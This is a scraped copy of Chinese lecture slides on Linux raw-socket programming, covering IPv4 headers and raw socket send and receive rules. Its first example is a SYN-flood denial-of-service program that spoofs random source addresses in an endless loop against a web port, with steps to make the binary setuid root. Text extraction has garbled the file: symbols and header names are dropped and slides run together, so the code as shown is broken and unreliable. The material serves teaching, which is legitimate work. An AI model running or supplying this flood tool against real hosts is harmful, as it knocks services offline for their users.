《《Linux／UNIX网络编程》-甘刚-电子教案 第13章 原始套接字与数据链路访问编程》由会员分享，可在线阅读，更多相关《《Linux／UNIX网络编程》-甘刚-电子教案 第13章 原始套接字与数据链路访问编程（65页珍藏版）》请在金锄头文库上搜索。
1、第13章 原始套接字与数据链路访问编程,IPv4数据报格式,几点说明：首部长度是以32位（即4字节）为单位；16位的标识用于分片和重组；DF位（不分片）；MF（还有片段）；协议字段表示封装在IP报文中的上层协议，典型的有：ICMP（1）、IGMP（2）、TCP（6）、UDP（17）；头部校验和只对IP头部（包括选项）计算，校验算法是标准的因特网校验和算法，即简单的16位反码求和。,IP数据报分片例子,IP数据报是指指I P 层端到端的传输单元（在分片之前和重新组装之后），分组是指在I P 层和链路层之间传送的数据单元。 需要重申的是，任何传输层首部只出现在第1 片数据中。,原始套接字（概述）,
2、原始套接字提供了一些使用tcp和udp协议不能实现的功能，如： 使用原始套接字可以读写ICMPv4、IGMPv4分组。如Ping程序，mroute程序等； 使用原始套接字可以读些特殊的IPv4数据包，内核不处理这些数据报的IPv4协议字段。如大多数内核只处理ICMP、IGMP、TCP、UDP的数据报。但协议字段还可以为其他值，如OSPF直接使用IP协议，将IP数据报的协议字段设为89，此时，就必须有专门的程序通过原始套接字来处理它们； 利用原始套接字还可以创建自定义的IP数据报首部，编写基于IP协议的高层网络协议。,原始套接字创建,#include #include int socket(AF
3、_INET, SOCK_RAW, int protocol); protocol参数一般不能为0，如：IPPROTO_ICMP。另外，只有超级用户才能创建原始套接字。 用户可以通过设置IP_HDRINCL选项来编写自己的IP数据报首部： const int on = 1; setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, 可以调用bind函数绑定原始套接字的本地IP地址，此时，所有输出的数据报将用到源IP地址（仅当IP_HDRINCL未设置时）；如果不调用bind函数，由内核将源IP地址设成外出接口的主IP地址； 可以调用connect函数设置数据报的目的地
4、址（注意并不需要真正的连接）。此后，可直接调用write或send。 注意：bind和connect时，端口已经没有意义了。,通过原始套接字发送数据报,原始套接字的输出遵循以下规则： 如果套接字已经连接，可以调用write、writev、send来发送数据，否则需要调用sendto或sendmsg； 如果IP_HDRINCL选项未设置，则内核写的数据起始地址指IP头部之后的第一个字节。因为这种情况下，内核构造IP头部，并将它安在来自进程的数据之前。内核将IPv4头部的协议字段设置成用户在调用socket函数所给的第三个参数； 如果设置了IP_HDRINCL，则内核写的数据起始地址指IP头部的第
5、一个字节。用户所提供的数据大小值必须包括头部的字节数。此时进程构造除了以下两项外的整个IP头部；（a）IPv4标识字段可以设为0，要求内核设置该值；（b）IPv4头部校验和由内核来计算和存储。IPv4数据报首部各个字段的内容均是网络字节序（对linux而言） 对于超出外出接口的MTU的分组，内核将其分片。,通过原始套接字接收数据报,内核通过原始套接字接收数据报，遵循以下规则： 接收到的tcp和udp分组决不会传递给原始套接字，如果一个进程希望读取包含tcp或udp分组的IP数据报，那么它们必须在数据链路层读入； 当内核处理完ICMP消息后，绝大部分ICMP分组将传递给原始套接字。对源自Berk
6、eley的实现，除了回射请求、时间戳请求和地址掩码请求将完全由内核处理以外，所有收到的ICMP分组将传递给某个原始套接口； 当内核处理完IGMP消息后，所有IGMP分组都将传递给某个原始套接字； 所有带有内核不能识别的协议字段的IP数据报都将传递给某个原始套接字。 如果数据报以分片形式到达，则该分组将在所有片段到达并重组后才传给原始套接字。,通过原始套接字接收数据报（续）,在将一个IP数据报传递给某个套接字之前，内核需要选择匹配的原始套接字： 如果在创建原始套接字时，所指定的protocol参数不为0，则接收到的数据包的协议字段应与该值匹配，否则该数据报将不传递给该套接字； 如果此原始套接字之
7、上绑定了一个本地IP地址，那么接收到的数据报的目的IP地址应与该绑定地址相匹配，否则该数据报将不传递给该套接字； 如果此原始套接字通过调用connect指定了一个对方的IP地址，那么接收到的数据报的源IP地址应与该已连接地址相匹配，否则该数据报将不传递给该套接字。 如果一个原始套接字以protocol参数为0的方式创建，而且未调用bind或connect，那么对于内核传递给原始套接字的每一个原始数据报，该套接字都会收到一份拷贝； 当接收到的数据报传递给IPv4原始套接字时，整个数据报（包括IP头部）都将传递给进程。而对于IPv6，则将去除扩展头部。,例1、DOS攻击(拒绝服务攻击),拒绝服务攻
8、击原理：画图,源程序Dos.c： #include #include #include #include #include #include #include #include #define DESTPORT 80 /*要攻击的端口(WEB)*/ #define LOCALPORT 8888 void send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr,int len); int main(int argc,char *argv) int sockfd; st
9、ruct sockaddr_in addr; int on; on=1; if(argc!=2) fprintf(stderr,“Usage:%sIPna“,argv0); exit(1); ,bzero( /*发送炸弹了!*/ ,void send_tcp(int sockfd,struct sockaddr_in *addr) char buffer100;/*用来放置我们的数据包*/ struct ip *ip; struct tcphdr *tcp; int head_len; /*我们的数据包实际上没有任何内容,所以长度就是两个结构的长度*/ head_len=sizeof(stru
10、ct ip)+sizeof(struct tcphdr); bzero(buffer,100); /*填充IP数据包的头部,还记得IP的头格式吗*/ ip=(struct ip *)buffer; ip-ip_v=IPVERSION;/*版本一般的是4*/ ip-ip_hl=sizeof(struct ip)2;/*IP数据包的头部长度*/ ip-ip_tos=0;/*服务类型*/ ip-ip_len=htons(head_len);/*IP数据包的长度*/ ip-ip_id=0;/*让系统去填写吧*/ ip-ip_off=0;/*和上面一样,省点时间*/ ip-ip_ttl=MAXTTL;
11、/*最长的时间255*/ ip-ip_p=IPPROTO_TCP;/*我们要发的是TCP包*/ ip-ip_sum=0;/*校验和让系统去做*/ ip-ip_dst=addr-sin_addr;/*我们攻击的对象*/ printf(“dest address is %sn“,inet_ntoa(addr-sin_addr);,/*开始填写TCP数据包*/ tcp=(struct tcphdr *)(buffer+sizeof(struct ip); tcp-source=htons(LOCALPORT); tcp-dest=addr-sin_port;/*目的端口*/ tcp-seq=rand
12、om(); tcp-ack_seq=0; tcp-doff=5; tcp-syn=1;/*我要建立连接*/ tcp-check=0; /*好了,一切都准备好了.服务器,你准备好了没有*/ while(1) /*你不知道我是从那里来的,慢慢的去等吧!*/ ip-ip_src.s_addr=random(); printf(“addr is%dn“,ip-ip_src.s_addr); sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr); ,程序运行权限,通常情况下，有效用户ID等于实际用户
13、ID，有效组ID等于实际组ID； 文件方式字中有一个特殊标志，定义为“当执行此文件时将进程的有效用户ID设置为文件的所有者”，与此类似，组ID也有类似的情况。这两位称为：设置用户ID和设置组ID。 对于本程序要求：普通用户能执行该程序，但该程序又要求要具有超级用户权限，因此：需要将该可执行程序的所有者设置为超级用户，并设置其“设置-用户-ID”标志，方法是： roothoyt /root#chown root DOS roothoyt /root#chmod u+s DOS,程序运行结果,例2：给本机发送一个ICMP报文，然后接收回复。,/ip.h #ifndef _IP_H #define
14、_IP_H #include #include #include #include #include #include #include #include #include #include ,#define PACKET_SIZE 4096 #define MAX_WAIT_TIME 5 #define DEST_ADDR “222.18.113.171“ extern int errno; char sendpacketPACKET_SIZE; char recvpacketPACKET_SIZE; int sockfd,datalen=56; struct sockaddr_in des
15、t_addr; void send_packet(); void recv_packet(); unsigned short cal_chksum(unsigned short * addr,int len); void showiphdr(struct ip *ip); void onTerm(); #endif,/Ip.c #include “ip.h“ int main(int argc,char *argv) struct hostent *host; struct protoent *protocol; unsigned long inaddr=0L; if(protocol=get
16、protobyname(“icmp“)=NULL) perror(“unknow protocol icmp“); exit(1); if(sockfd=socket(AF_INET,SOCK_RAW,protocol-p_proto)0) perror(“socket error“); exit(2); bzero( ,void send_packet() int i,packetsize; struct icmp *icmp; icmp=(struct icmp*)sendpacket; icmp-icmp_type=ICMP_ECHO; icmp-icmp_code=0; icmp-icmp_cksum=0; icmp-icmp_id=getpid(); icmp-icmp_seq=1; packetsize=8+datalen;
